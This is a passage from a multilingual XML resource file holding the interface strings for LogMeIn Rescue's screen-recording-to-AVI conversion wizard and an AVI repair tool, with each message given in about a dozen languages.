<pt-br>%PRODUCTNAME %VERSION_TEXT</pt-br>
<nl>%PRODUCTNAME %VERSION_TEXT</nl>
</msg>
<msg name="LINE2">
<en>Copyright © 2005-2015, LogMeIn, Inc. All Rights Reserved.</en>
<de>Copyright © 2005-2015 LogMeIn, Inc. Alle Rechte vorbehalten.</de>
<es>Copyright © 2005-2015, LogMeIn, Inc. Todos los derechos reservados.</es>
<fr>Copyright (c) 2005-2015, LogMeIn, Inc. Tous droits réservés.</fr>
<it>Copyright © 2005-2015, LogMeIn, Inc. Tutti i diritti riservati.</it>
<ru>© 2005-2015, LogMeIn, Inc. Все права защищены.</ru>
<ja>Copyright © 2005-2015, LogMeIn, Inc. All Rights Reserved.</ja>
<zh>版权所有 (c) 2005-2015, LogMeIn, Inc. 保留所有权利。</zh>
<ko>Copyright ⓒ 2005-2015, LogMeIn, Inc. All Rights Reserved.</ko>
<en-gb>Copyright © 2005-2015, LogMeIn, Inc. All Rights Reserved.</en-gb>
<hu>Szerzoi jog (c) 2005-2015, LogMeIn, Inc. Minden jog fenntartva.</hu>
<pt-br>Copyright (c) 2005-2015, LogMeIn, Inc. Todos os direitos reservados.</pt-br>
<nl>Copyright © 2005-2015, LogMeIn, Inc. Alle rechten voorbehouden.</nl>
</msg>
<msg name="LINE3">
<en>This wizard will convert LogMeIn Rescue screen recording files into .avi files for playback in any media player. Screen recording files (*.rcrec) are automatically created in a directory specified in the Administration Center.</en>
<de>Dieser Assistent konvertiert LogMeIn-Bildschirmaufnahmedateien der Fernsteuerungssitzung in AVI-Dateien, die mit einem beliebigen Media-Player abgespielt werden können. Die Bildschirmaufnahmedateien (*.rcrec) werden automatisch in dem Verzeichnis gespeichert, das im Administrations-Center festgelegt wurde.</de>
<es>Este asistente convertirá los archivos de grabación de pantalla de rescate en archivos .avi para su reproducción en cualquier reproductor de medios. Los archivos de grabación de pantalla (*.rcrec) se crean automáticamente en un directorio especificado en el Centro de administración.</es>
<it>Questa procedura guidata convertirà i file .rcrec di LogMeIn Rescue in file .avi che possano essere riprodotti da qualsiasi lettore multimediale. I file *.rcrec vengono creati automaticamente in una directory specificata dal Centro amministrativo.</it>
<ru>С помощью данного мастера файлы записи экранов LogMeIn Rescue можно преобразовать в AVI-файлы для воспроизведения на любом универсальном проигрывателе. Файлы записи экранов (*.rcrec) автоматически создаются в каталоге, указанном в центре администрирования.</ru>
<ja>このウィザードは、LogMeIn Rescue 画面記録ファイルを任意のメディア プレイヤで再生可能な AVI ファイルに変換します。画面記録ファイル (*.rcrec) は、管理センターで指定されたディレクトリで自動的に作成されます。</ja>
<zh>此向导会将 LogMeIn Rescue 屏幕记录文件转换为 .avi 文件,以便在任何媒体播放器中播放。屏幕记录文件 (*.rcrec) 是在管理中心指定的目录中自动创建的。</zh>
<ko>이 마법사는 LogMeIn Rescue 화면 기록 파일을 미디어 플레이어에서 재생하기 위한 .avi 파일로 변환합니다. 화면 기록 파일(*.rcrec)은 관리 센터에서 지정된 디렉터리에 자동으로 만들어집니다.</ko>
<en-gb>This wizard will convert LogMeIn Rescue screen recording files into .avi files for playback in any media player. Screen recording files (*.rcrec) are automatically created in a directory specified in the Administration Center.</en-gb>
<hu>Ez a varázsló fogja konvertálni a LogMeIn Rescue képernyőrögzítés fájljait .avi fájlokká, amelyek bármilyen médialejátszón lejátszhatók. A képernyőrögzítési fájlok (*.rcrec) automatikusan jönnek létre a Felügyeleti központban megadott könyvtárban.</hu>
<pt-br>Este assistente converterá os arquivos de gravação da tela Resgate do LogMeIn em arquivos .avi para reprodução em qualquer player de mídia. Os arquivos de gravação de tela (*.rcrec) são criados automaticamente em um diretório especificado no Centro administrativo.</pt-br>
<nl>Met deze wizard worden de bestanden van de schermopnamen van LogMeIn Rescue geconverteerd naar .avi-bestanden die u met elke mediaspeler kunt afspelen. De bestanden van de schermopnamen (*.rcrec) worden automatisch opgeslagen in een map gespecificeerd die in Beheercentrum is opgegeven.</nl>
</msg>
<msg name="LINE4">
<en>Please click Next to continue.</en>
<de>Bitte klicken Sie auf Weiter für fortzufahren.</de>
<es>Haga clic en Siguiente para continuar.</es>
<fr>Pressez Suivant pour continuer.</fr>
<it>Fare clic su Avanti per continuare.</it>
<ru>Щелкните "Далее", чтобы продолжить.</ru>
<ja>続行するには、[次へ] をクリックしてください。</ja>
<zh>请单击“下一步”继续。</zh>
<ko>"다음"을 클릭하여 계속하십시오.</ko>
<en-gb>Please click Next to continue.</en-gb>
<hu>Kattintson a Következő gombra a folytatáshoz.</hu>
<pt-br>Clique em Avançar para continuar.</pt-br>
<nl>Klik op Volgende om door te gaan.</nl>
</msg>
</cat>
<cat name="ADDFILES">
<msg name="SELECTFILES">
<en>Select files to convert</en>
<de>Wählen Sie die zu konvertierenden Dateien aus</de>
<es>Seleccione archivos para convertir</es>
<fr>Sélectionnez les fichiers à convertir</fr>
<it>Seleziona i file da convertire</it>
<ru>Выберите файлы для преобразования</ru>
<ja>変換するファイルを選択</ja>
<zh>选择要转换的文件</zh>
<ko>변환할 파일 선택</ko>
<en-gb>Select files to convert</en-gb>
<hu>Válassza ki a konvertálni kívánt fájlokat</hu>
<pt-br>Selecionar arquivos para conversão</pt-br>
<nl>Selecteer de bestanden die u wilt converteren</nl>
</msg>
<msg name="ADD">
<en>Add...</en>
<de>Anlegen</de>
<es>Agregar...</es>
<fr>Ajouter...</fr>
<it>Aggiungi...</it>
<ru>Добавить...</ru>
<ja>追加...</ja>
<zh>添加...</zh>
<ko>추가...</ko>
<en-gb>Add...</en-gb>
<hu>Hozzáadás...</hu>
<pt-br>Adicionar...</pt-br>
<nl>Toevoegen...</nl>
</msg>
<msg name="REMOVE">
<en>Remove</en>
<de>Löschen</de>
<es>Eliminar</es>
<fr>Enlever...</fr>
<it>Rimuovi</it>
<ru>Удалить</ru>
<ja>削除</ja>
<zh>删除</zh>
<ko>제거</ko>
<en-gb>Remove</en-gb>
<hu>Eltávolítás</hu>
<pt-br>Remover</pt-br>
<nl>Verwijderen</nl>
</msg>
<msg name="ADDHELP">
<en>Click the Add button on the left to add one or more files to the list.</en>
<de>Klicken Sie links auf die Schaltfläche "Hinzufügen", um der Liste eine oder mehrere Dateien hinzuzufügen.</de>
<es>Haga clic en el botón Agregar de la izquierda para agregar uno o varios archivos a la lista.</es>
<fr>Cliquez sur le bouton Ajouter à gauche pour ajouter un ou plusieurs fichiers à la liste.</fr>
<it>Fare clic sul pulsante Aggiungi a sinistra per aggiungere uno o più file all'elenco.</it>
<ru>Щелкните слева кнопку "Добавить", чтобы добавить в список один или несколько файлов.</ru>
<ja>ファイルをリストに追加するには、左の [追加] ボタンをクリックします。</ja>
<zh>单击左侧的“添加”按钮以在列表中添加一个或多个文件。</zh>
<ko>하나 이상의 파일을 목록에 추가하려면 왼쪽의 "추가" 버튼을 클릭하십시오.</ko>
<en-gb>Click the Add button on the left to add one or more files to the list.</en-gb>
<hu>Egy vagy több fájlnak a listához adásához kattintson a Hozzáadás gombra a bal oldalon.</hu>
<pt-br>Clique no botão Adicionar à esquerda para adicionar um ou mais arquivos à lista.</pt-br>
<nl>Klik links op de knop Toevoegen om een of meer bestanden aan de lijst toe te voegen.</nl>
</msg>
<msg name="REMOVEHELP">
<en>Select one or more files and click the Remove button to delete files from the list.</en>
<de>Wählen Sie eine oder mehrere Dateien aus und klicken Sie auf die Schaltfläche "Entfernen", um Dateien aus der Liste zu löschen.</de>
<es>Seleccione uno o varios archivos y haga clic en el botón Quitar para eliminar archivos de la lista.</es>
<fr>Sélectionnez un ou plusieurs fichiers et cliquez sur le bouton Supprimer pour supprimer les fichiers de la liste.</fr>
<it>Selezionare uno o più file e fare clic sul pulsante Rimuovi per eliminare i file dall'elenco.</it>
<ru>Выберите один или несколько файлов и нажмите кнопку "Удалить", чтобы удалить эти файлы из данного списка.</ru>
<ja>リストからファイルを削除するには、ファイルを選択し、[削除] ボタンをクリックします。</ja>
<zh>选择一个或多个文件,然后单击“删除”按钮以从列表中删除文件。</zh>
<ko>목록에서 파일을 삭제하려면 하나 이상의 파일을 선택하고 "제거" 버튼을 클릭하십시오.</ko>
<en-gb>Select one or more files and click the Remove button to delete files from the list.</en-gb>
<hu>Egy vagy több fájlnak a listáról való eltávolításához kattintson az Eltávolítás gombra.</hu>
<pt-br>Selecione um ou mais arquivos e clique no botão Remover para excluir arquivos da lista.</pt-br>
<nl>Selecteer één of meer bestanden en klik op de knop Verwijderen om bestanden uit de lijst te verwijderen.</nl>
</msg>
<msg name="DELETE">
<en>Delete source files after conversion</en>
<de>Löschen Sie die Quelldateien nach der Konvertierung.</de>
<es>Eliminar archivos de origen tras conversión</es>
<fr>Supprimer les fichiers source après la conversion</fr>
<it>Elimina i file sorgente dopo la conversione</it>
<ru>Удалять исходные файлы после преобразования.</ru>
<ja>変換後にソース ファイルを削除する</ja>
<zh>转换完成后删除源文件</zh>
<ko>변환 후 원본 파일 삭제</ko>
<en-gb>Delete source files after conversion</en-gb>
<hu>Forrásfájlok törlése a konvertálás után</hu>
<pt-br>Excluir arquivos de origem após a conversão</pt-br>
<nl>Bronbestanden na conversie verwijderen</nl>
</msg>
</cat>
<cat name="SETDEST">
<msg name="LINE1">
<en>Please select the destination directory for the AVI files. The files will be saved under the same name as their .rcrec counterparts, but with a different - .avi - extension. Existing files will be overwritten.</en>
<de>Wählen Sie bitte das Zielverzeichnis für die AVI-Dateien aus. Die Dateien werden unter dem gleichen Namen wie ihr .rcrec-Pendant, jedoch mit einer anderen Dateiendung - .avi - gespeichert. Bestehende Dateien werden überschrieben.</de>
<es>Seleccione el directorio de destino para los archivos AVI. Los archivos se guardarán con el mismo nombre que sus correspondientes archivos .rcrec, pero con la extensión .avi. Se sobrescribirán los archivos existentes.</es>
<fr>Sélectionnez le répertoire de destination pour les fichiers AVI. Les fichiers seront enregistrés avec un nom similaire à celui de leurs équivalents .rcrec mais avec une extension différente (.avi). Les fichiers existants seront écrasés.</fr>
<it>Selezionare la directory di destinazione per i file AVI. I file verranno salvati con lo stesso nome dei corrispondenti file .rcrec, ma con una diversa estensione (.avi). I file esistenti verranno sovrascritti.</it>
<ru>Выберите каталог назначения для AVI-файлов. Файлы сохраняются с теми же именами, что и исходные RCREC-файлы, но с другим расширением (AVI). Существующие файлы будут перезаписаны.</ru>
<ja>AVI ファイルの移動先ディレクトリを選択してください。ファイルは、対応する .rcrec と同じ名前、ただし異なる拡張子 (.avi) 付きで保存されます。既存のファイルは上書きされます。</ja>
<zh>请选择 AVI 文件的目标目录。文件将以其对应 .rcrec 文件名保存,但使用了不同的扩展名 .avi。将覆盖现有文件。</zh>
<ko>AVI 파일의 대상 디렉토리를 선택하십시오. 파일은 .rcrec 대응부와 동일한 이름으로 저장되지만 다른 확장자(.avi)를 가집니다. 기존 파일을 덮어씁니다.</ko>
<en-gb>Please select the destination directory for the AVI files. The files will be saved under the same name as their .rcrec counterparts, but with a different - .avi - extension. Existing files will be overwritten.</en-gb>
<hu>Kérem, válassza ki az AVI fájlok célkönyvtárát. A program ugyanazzal a névvel menti a fájlokat, mint ami az .rcrec fájloké volt, de más kiterjesztéssel (.avi). A program felülírja a meglévő fájlokat.</hu>
<pt-br>Selecione o diretório de destino dos arquivos AVI. Os arquivos serão salvos com o mesmo nome que suas contrapartidas .rcrec, mas com outra extensão: .avi. Os arquivos existentes serão sobrescritos.</pt-br>
<nl>Selecteer de doelmap voor de geconverteerde AVI-bestanden. De bestanden worden opgeslagen met dezelfde naam als de bestanden met de .rcrec-bestandsindeling, maar met een andere bestandsnaamextensie (.avi). Bestaande bestanden zullen worden overschreven.</nl>
</msg>
<msg name="LINE2">
<en>Destination directory:</en>
<de>Zielverzeichnis:</de>
<es>Directorio de destino:</es>
<fr>Dossier de destination:</fr>
<it>Directory di destinazione:</it>
<ru>Каталог назначения:</ru>
<ja>移動先ディレクトリ :</ja>
<zh>目标目录:</zh>
<ko>대상 디렉토리:</ko>
<en-gb>Destination directory:</en-gb>
<hu>Célkönyvtár:</hu>
<pt-br>Diretório de destino:</pt-br>
<nl>Doelmap:</nl>
</msg>
<msg name="BROWSE">
<en>Browse...</en>
<de>Durchsuchen...</de>
<es>Buscar...</es>
<fr>Parcourir...</fr>
<it>Sfoglia...</it>
<ru>Обзор...</ru>
<ja>参照...</ja>
<zh>浏览...</zh>
<ko>찾아보기...</ko>
<en-gb>Browse...</en-gb>
<hu>Tallózás...</hu>
<pt-br>Procurar...</pt-br>
<nl>Bladeren...</nl>
</msg>
<msg name="NODESTDIR">
<en>The destination directory field is empty. Please enter a valid directory name.</en>
<de>Das Feld für das Zielverzeichnis ist leer. Geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>El campo de directorio de destino está vacío. Introduzca un nombre de directorio válido.</es>
<fr>Le champ dossier des destination est vide. Veuillez saisir un nom de dossier valide.</fr>
<it>Il campo della directory di destinazione è vuoto. Immettere un nome di directory valido.</it>
<ru>Поле каталога назначения пусто. Введите допустимое имя каталога.</ru>
<ja>移動先ディレクトリ フィールドが空欄です。有効なディレクトリ名を入力してください。</ja>
<zh>“目标目录”字段为空。请输入一个有效的目录名。</zh>
<ko>대상 디렉토리 필드가 비어 있습니다. 올바른 디렉토리 이름을 입력하십시오.</ko>
<en-gb>The destination directory field is empty. Please enter a valid directory name.</en-gb>
<hu>A célkönyvtár mezője üres. Kérem, írjon be egy érvényes könyvtárnevet.</hu>
<pt-br>O campo do diretório de destino está vazio. Digite um nome de diretório válido.</pt-br>
<nl>Het veld voor de doelmap is leeg. Voer een geldige mapnaam in.</nl>
</msg>
<msg name="INVDESTDIR">
<en>Invalid destination directory name. Please enter a valid directory name.</en>
<de>Der Name des Zielverzeichnisses ist ungültig. Geben Sie einen gültigen Verzeichnisnamen ein.</de>
<es>Nombre de directorio de destino no válido. Introduzca un nombre de directorio válido.</es>
<fr>Nom de dossier de destination non valide. Veuillez saisir un nom de dossier valide.</fr>
<it>Nome della directory di destinazione non valido. Immettere un nome di directory valido.</it>
<ru>Недопустимое имя каталога назначения. Введите допустимое имя каталога.</ru>
<ja>無効な移動先ディレクトリ名です。有効なディレクトリ名を入力してください。</ja>
<zh>目标目录名无效。请输入一个有效的目录名。</zh>
<ko>대상 디렉토리 이름이 올바르지 않습니다. 올바른 디렉토리 이름을 입력하십시오.</ko>
<en-gb>Invalid destination directory name. Please enter a valid directory name.</en-gb>
<hu>Érvénytelen célkönyvtár név. Kérem, írjon be egy érvényes könyvtárnevet.</hu>
<pt-br>Nome de diretório de destino inválido. Digite um nome de diretório válido.</pt-br>
<nl>Ongeldige mapnaam voor doelmap. Voer een geldige mapnaam in.</nl>
</msg>
</cat>
<cat name="REVIEW">
<msg name="LINE1">
<en>Please review your settings before the conversion starts. Click Next to convert all files shown below to AVI.</en>
<de>Überprpüfen Sie Ihre Einstellungen vor dem Beginn der Konvertierung. Klicken Sie auf "Weiter", um alle nachstehend aufgeführten Dateien in das AVI-Format zu konvertieren.</de>
<es>Revise la configuración antes de iniciar la conversión. Haga clic en Siguiente para convertir todos los archivos mostrados abajo a AVI.</es>
<fr>Veuillez contrôler vos paramètres avant que la conversion ne débute. Cliquez sur Suivant pour convertir en AVI tous les fichiers affichés ci-dessous.</fr>
<it>Rivedere le impostazioni prima che inizi la conversione. Fare clic su Avanti per convertire in formato AVI tutti i file riportati di seguito.</it>
<ru>Просмотрите свои настройки, прежде чем начинать преобразование. Щелкните "Далее", чтобы преобразовать все показанные файлы в формат AVI.</ru>
<ja>変換が開始する前に、設定を確認してください。以下に示すすべてのファイルを AVI に変換するには、[次へ] をクリックします。</ja>
<zh>请在转换开始之前查看您的设置。单击“下一步”将下面显示的所有文件转换为 AVI 文件。</zh>
<ko>변환을 시작하기 전에 설정을 검토하십시오. "다음"을 클릭하여 아래에 표시된 모든 파일을 AVI로 변환하십시오.</ko>
<en-gb>Please review your settings before the conversion starts. Click Next to convert all files shown below to AVI.</en-gb>
<hu>Kérem, tekintse át a beállításokat a konvertálás indulása előtt. Kattintson a Következő gombra, hogy az alább feltüntetett fájlokat AVI formátumra konvertálja.</hu>
<pt-br>Confira suas configurações antes do início da conversão. Clique em Avançar para converter em AVI todos os arquivos mostrados a seguir.</pt-br>
<nl>Controleer uw instellingen voordat u het conversieproces uitvoert. Klik op Volgende om alle bestanden die hieronder zijn weergegeven te converteren naar de AVI-bestandsindeling.</nl>
</msg>
<msg name="LINE2">
<!-- This will display: "Selected 3 file(s), cumulative size: 23,700 KBytes" -->
<en>Selected %d file(s), cumulative size: %S</en>
<de>%d Dateien ausgewählt, Gesamtgröße: %S</de>
<es>Seleccionado(s) %d archivo(s), tamaño acumulado: %S</es>
<fr>Sélection de %d fichier(s), poids cumulée : %S</fr>
<it>%d file selezionato/i, dimensione complessiva: %S</it>
<ru>Выбрано %d файлов, суммарный размер: %S</ru>
<ja>選択されている %d ファイル、累積サイズ : %S</ja>
<zh>已选定 %d 个文件,累计大小:%S</zh>
<ko>%d개 파일을 선택함, 누적 크기: %S</ko>
<en-gb>Selected %d file(s), cumulative size: %S</en-gb>
<hu>Kiválasztva: %d fájl, összesített méret: %S</hu>
<pt-br>%d arquivo(s) selecionado(s), tamanho cumulativo: %S</pt-br>
<nl>Geselecteerde %d bestand(en), met een totale grootte van: %S</nl>
</msg>
<msg name="LINE3">
<en>Files will be saved in:</en>
<de>Die Dateien werden gespeichert in:</de>
<es>Los archivos se guardarán en:</es>
<fr>Les fichiers seront enregistrés dans:</fr>
<it>I file verranno salvati in:</it>
<ru>Файлы будут сохранены в:</ru>
<ja>ファイルの保存場所 :</ja>
<zh>文件保存位置:</zh>
<ko>파일은 다음 위치에 저장됩니다.</ko>
<en-gb>Files will be saved in:</en-gb>
<hu>A program a következő helyre menti a fájlokat:</hu>
<pt-br>Os arquivos serão salvos em:</pt-br>
<nl>De bestanden worden opgeslagen in de map:</nl>
</msg>
<msg name="DELETINGFILES">
<en>Source files WILL BE DELETED after conversion.</en>
<de>Die Quelldateien werden nach der Konvertierung GELÖSCHT.</de>
<es>Los archivos de origen SE ELIMINARÁN tras la conversión.</es>
<fr>Fichiers sources SERONT SUPPRIME après conversion.</fr>
<it>I file di origine VERRANNO ELIMINATI dopo la conversione.</it>
<ru>После преобразования исходные файлы БУДУТ УДАЛЕНЫ.</ru>
<ja>ソース ファイルは変換後に削除されます。</ja>
<zh>转换完成后删除源文件。</zh>
<ko>변환 후 원본 파일이 삭제됩니다.</ko>
<en-gb>Source files WILL BE DELETED after conversion.</en-gb>
<hu>A program TÖRÖLNI FOGJA a forrásfájlokat a konvertálást követően.</hu>
<pt-br>Os arquivos de origem SERÃO EXCLUÍDOS após a conversão.</pt-br>
<nl>De bronbestanden WORDEN VERWIJDERD na de conversie.</nl>
</msg>
<msg name="NOTDELETINGFILES">
<en>Source files will NOT be deleted after conversion.</en>
<de>Die Quelldateien werden nach der Konvertierung NICHT GELÖSCHT.</de>
<es>Los archivos de origen NO se eliminarán tras la conversión.</es>
<fr>Fichiers sources NE seront PAS supprimés après conversion.</fr>
<it>I file di origine NON verranno eliminati dopo la conversione.</it>
<ru>После преобразования исходные файлы НЕ будут удалены.</ru>
<ja>ソース ファイルは変換後に削除されません。</ja>
<zh>转换完成后不删除源文件。</zh>
<ko>변환 후 원본 파일이 삭제되지 않습니다.</ko>
<en-gb>Source files will NOT be deleted after conversion.</en-gb>
<hu>A program NEM fogja törölni a forrásfájlokat a konvertálást követően.</hu>
<pt-br>Os arquivos de origem NÃO serão excluídos após a conversão.</pt-br>
<nl>De bronbestanden worden NIET verwijderd na de conversie.</nl>
</msg>
</cat>
<cat name="DOJOB">
<msg name="CURRENTFILE">
<en>Current file:</en>
<de>Aktuelle Datei:</de>
<es>Archivo actual:</es>
<fr>Fichier actuel :</fr>
<it>File corrente:</it>
<ru>Текущий файл:</ru>
<ja>現在のファイル :</ja>
<zh>当前文件:</zh>
<ko>현재 파일:</ko>
<hu>Aktuális fájl:</hu>
<pt-br>Arquivo atual:</pt-br>
<nl>Huidig bestand:</nl>
</msg>
<msg name="INVALIDARG">
<en>Invalid argument.</en>
<de>Ungültiges Argument.</de>
<es>Argumento no válido.</es>
<fr>Argument non valide.</fr>
<it>Argomento non valido.</it>
<ru>Недопустимый аргумент.</ru>
<ja>無効な引数です。</ja>
<zh>无效参数。</zh>
<ko>올바르지 않은 인수입니다.</ko>
<hu>Érvénytelen argumentum.</hu>
<pt-br>Argumento inválido.</pt-br>
<nl>Ongeldig argument.</nl>
</msg>
<msg name="INVALIDPAR">
<en>Invalid parameter.</en>
<de>Ungültiger Parameter.</de>
<es>Parámetro no válido.</es>
<fr>Paramètre non valide.</fr>
<it>Parametro non valido.</it>
<ru>Недопустимый параметр.</ru>
<ja>無効なパラメータです。</ja>
<zh>无效参数。</zh>
<ko>올바르지 않은 매개 변수입니다.</ko>
<hu>Érvénytelen paraméter.</hu>
<pt-br>Parâmetro inválido.</pt-br>
<nl>Ongeldige parameter.</nl>
</msg>
<msg name="CONVERTFILES">
<en>Converting file(s)...</en>
<de>Datei(en) werden konvertiert...</de>
<es>Convirtiendo archivo(s)...</es>
<fr>Conversion du ou des fichier(s)...</fr>
<it>Conversione di file in corso...</it>
<ru>Преобразование файлов...</ru>
<ja>ファイルを変換しています...</ja>
<zh>正在转换文件...</zh>
<ko>파일 변환 중...</ko>
<hu>Fájl(ok) konvertálása...</hu>
<pt-br>Conversão de arquivo(s)...</pt-br>
<nl>Bestand(en) converteren...</nl>
</msg>
<msg name="ERROROPEN">
<de>Fehler 0x%8.8x beim Öffnen der Eingabedatei.</de>
<es>Error 0x%8.8x al abrir el archivo de entrada.</es>
<fr>Erreur 0x%8.8x lors de l'ouverture du fichier d'entrée.</fr>
<it>Errore 0x%8.8x durante l'apertura del file di input.</it>
<ru>Ошибка 0x%8.8x при открытии файла ввода.</ru>
<ja>入力ファイルを開くときにエラー 0x%8.8x が発生しました。</ja>
<zh>打开输入文件时出错 0x%8.8x 。</zh>
<ko>입력 파일을 여는 중 0x%8.8x 오류가 발생했습니다.</ko>
<hu>0x%8.8x hiba a bemeneti fájl megnyitása közben.</hu>
<pt-br>Erro 0x%8.8x ao operar o arquivo de entrada.</pt-br>
<nl>Fout 0x%8.8x bij openen van het invoerbestand.</nl>
<en>Error 0x%8.8x while opening the input file.</en>
</msg>
<msg name="ERRORREAD">
<en>Error 0x%8.8x while reading input file.</en>
<de>Fehler 0x%8.8x beim Lesen der Eingabedatei.</de>
<es>Error 0x%8.8x al leer el archivo de entrada.</es>
<fr>Erreur 0x%8.8x lors de la lecture du fichier d'entrée.</fr>
<it>Errore 0x%8.8x durante la lettura del file di input.</it>
<ru>Ошибка 0x%8.8x при чтении файла ввода.</ru>
<ja>入力ファイルの読み込み中にエラー 0x%8.8x が発生しました。</ja>
<zh>读取输入文件时出错 0x%8.8x。</zh>
<ko>입력 파일을 읽는 중 0x%8.8x 오류가 발생했습니다.</ko>
<hu>0x%8.8x hiba a bemeneti fájl olvasása közben.</hu>
<pt-br>Erro 0x%8.8x ao ler o arquivo de entrada.</pt-br>
<nl>Fout 0x%8.8x bij lezen van invoerbestand.</nl>
</msg>
<msg name="ERRORSAVE">
<en>Error 0x%8.8x while saving output file.</en>
<de>Fehler 0x%8.8x beim Speichern der Ausgabedatei.</de>
<es>Error 0x%8.8x al guardar el archivo de salida.</es>
<fr>Erreur 0x%8.8x lors de l'enregistrement du fichier de sortie.</fr>
<it>Errore 0x%8.8x durante il salvataggio del file di output.</it>
<ru>Ошибка 0x%8.8x при сохранении файла ввода.</ru>
<ja>出力ファイルの保存中にエラー 0x%8.8x が発生しました。</ja>
<zh>保存输出文件时出错 0x%8.8x。</zh>
<ko>출력 파일을 저장하는 중 0x%8.8x 오류가 발생했습니다.</ko>
<hu>0x%8.8x hiba a bemeneti fájl mentése közben.</hu>
<pt-br>Erro 0x%8.8x ao salvar arquivo de saída.</pt-br>
<nl>Fout 0x%8.8x bij opslaan van uitvoerbestand.</nl>
</msg>
<msg name="FINISHED">
<en>Processed %u frames (%u subframes, %d spacers), total length is %u seconds.</en>
<de>%u Frames (%u Teil-Frames, %d Platzhalter) verarbeitet, Gesamtlänge beträgt %u Sekunden.</de>
<es>%u marcos procesados (%u submarcos, %d espaciadores), duración total de %u segundos.</es>
<fr>%u cadres traités (%u sous-cadres, %d espacements), durée totale de %u secondes.</fr>
<it>%u frame elaborati (%u sottoframe, %d spaziatori); la lunghezza totale è di %u secondi.</it>
<ru>Обработано %u фреймов (%u субфреймов, %d разделителей), общая продолжительность %u секунд.</ru>
<ja>%u フレーム (%u サブフレーム、%d スペーサ) を処理しました、合計時間は %u 秒です。</ja>
<zh>已处理 %u 帧(%u 个子帧,%d 个空格),总共 %u 秒。</zh>
<ko>프로세스된 %u 프레임(%u 하위 프레임, %d 스페이서), 총 길이는 %u초 입니다.</ko>
<hu>%u képkocka (%u alkocka, %d szünet) feldolgozva, teljes hossz %u másodperc.</hu>
<pt-br>%u frames processadas (%u espaçadores, %d subframes), duração total %u segundos.</pt-br>
<nl>Verwerkte %u frames (%u subframes, %d spacers), totale lengte is %u seconden.</nl>
</msg>
</cat>
<cat name="FINISH">
<msg name="DESTFOLDER">
<en>The files are stored in:</en>
<de>Die Dateien werden gespeichert unter:</de>
<es>Los archivos están almacenados en:</es>
<fr>Les fichiers sont stockés dans :</fr>
<it>I file vengono memorizzati in:</it>
<ru>Файлы сохранены в:</ru>
<ja>ファイルの保存場所:</ja>
<zh>文件存储位置:</zh>
<ko>파일은 다음 위치에 저장됩니다.</ko>
<hu>A fájlok tárolása itt:</hu>
<pt-br>Este arquivo está armazenado em:</pt-br>
<nl>De bestanden zijn opgeslagen in:</nl>
</msg>
<msg name="SHOWDETAILS">
<en>Details &gt;&gt;</en>
<de>Angaben &gt;&gt;</de>
<es>Detalles &gt;&gt;</es>
<fr>Détails &gt;&gt;</fr>
<it>Dettagli &gt;&gt;</it>
<ru>Подробности &gt;&gt;</ru>
<ja>詳細 &gt;&gt;</ja>
<zh>详情 &gt;&gt;</zh>
<ko>세부사항 &gt;&gt;</ko>
<hu>Részletek &gt;&gt;</hu>
<pt-br>Detalhes &gt;&gt;</pt-br>
<nl>Details &gt;&gt;</nl>
</msg>
</cat>
</cat>
<cat name="AVIFIX">
<cat name="MSGBOX">
<msg name="CANCELQ">
<en>Are you sure you want to cancel this operation?</en>
<de>Sind Sie sicher, dass Sie diesen Vorgang abbrechen möchten?</de>
<es>¿Está seguro de que desea cancelar esta operación?</es>
<fr>Voulez-vous vraiment annuler cette opération ?</fr>
<it>Annullare questa operazione?</it>
<ru>Отменить данную операцию?</ru>
<ja>この操作を取り消しますか?</ja>
<zh>是否确定要取消该操作?</zh>
<ko>이 작업을 취소하시겠습니까?</ko>
<hu>Biztosan törli a műveletet?</hu>
<pt-br>Tem certeza de que deseja cancelar esta operação?</pt-br>
<nl>Weet u zeker dat u deze bewerking wilt annuleren?</nl>
</msg>
<msg name="ADDFILE">
<en>Please add at least one file to repair.</en>
<de>Bitte fügen Sie mindestens eine Datei zur Reparatur hinzu.</de>
<es>Agregue al menos un archivo para reparar.</es>
<fr>Ajoutez au moins un fichier à réparer.</fr>
<it>Aggiungere almeno un file da riparare.</it>
<ru>Добавьте хотя бы один файл для восстановления.</ru>
<ja>修復するファイルを追加してください。</ja>
<zh>请至少添加一个要修复的文件。</zh>
<ko>수정할 파일을 하나 이상 추가하십시오.</ko>
<hu>Kérjük, legalább egy javítandó fájlt adjon hozzá:</hu>
<pt-br>Adicione pelo menos um arquivo para manutenção.</pt-br>
<nl>Voeg minstens één bestand toe om het te herstellen.</nl>
</msg>
<msg name="CONVERROR">
<en>%PRODUCTNAME has encountered one or more errors during repair.</en>
<de>%PRODUCTNAME hat bei der Reparatur einen oder mehrere Fehler entdeckt.</de>
<es>%PRODUCTNAME ha encontrado uno o más errores durante la reparación.</es>
<fr>%PRODUCTNAME a rencontré une ou plusieurs erreurs au cours de la réparation.</fr>
<it>%PRODUCTNAME ha riscontrato uno o più errori durante la riparazione.</it>
<ru>Во время восстановления приложение %PRODUCTNAME обнаружило одну или несколько ошибок.</ru>
<ja>%PRODUCTNAME で修復中にエラーが発生しました。</ja>
<zh>%PRODUCTNAME 在修复期间遇到了一个或多个错误。</zh>
<ko>%PRODUCTNAME은(는) 수정 중 하나 이상의 오류를 발견했습니다.</ko>
<hu>A %PRODUCTNAME egy vagy több hibát észlelt javítás közben.</hu>
<pt-br>O %PRODUCTNAME encontrou um ou mais erros durante a manutenção.</pt-br>
<nl>%PRODUCTNAME heeft tijdens het herstelproces een of meer fouten vastgesteld.</nl>
</msg>
<msg name="CONVSUCCESS">
<en>%PRODUCTNAME has repaired the selected files.</en>
<de>%PRODUCTNAME hat die ausgewählten Felder repariert.</de>
<es>%PRODUCTNAME ha reparado los archivos seleccionados.</es>
<fr>%PRODUCTNAME a réparé les fichiers sélectionnés.</fr>
<it>%PRODUCTNAME ha riparato i file selezionati.</it>
<ru>Приложение %PRODUCTNAME восстановило выбранные файлы.</ru>
<ja>%PRODUCTNAME は選択されたファイルを修復しました。</ja>
<zh>%PRODUCTNAME 已修复所选文件。</zh>
<ko>%PRODUCTNAME은(는) 선택한 파일을 수정했습니다.</ko>
<hu>A %PRODUCTNAME megjavította a kiválasztott fájlokat.</hu>
<pt-br>O %PRODUCTNAME fez a manutenção dos arquivos selecionados.</pt-br>
<nl>%PRODUCTNAME heeft de geselecteerde bestanden hersteld.</nl>
</msg>
</cat>
<cat name="LOG">
<msg name="FILECANCELLED">
<en>Cancelled.</en>
<de>Gekündigt.</de>
<es>Cancelado.</es>
<fr>Annulé.</fr>
<it>Operazione annullata.</it>
<ru>Отменен.</ru>
<ja>取り消されました。</ja>
<zh>已取消。</zh>
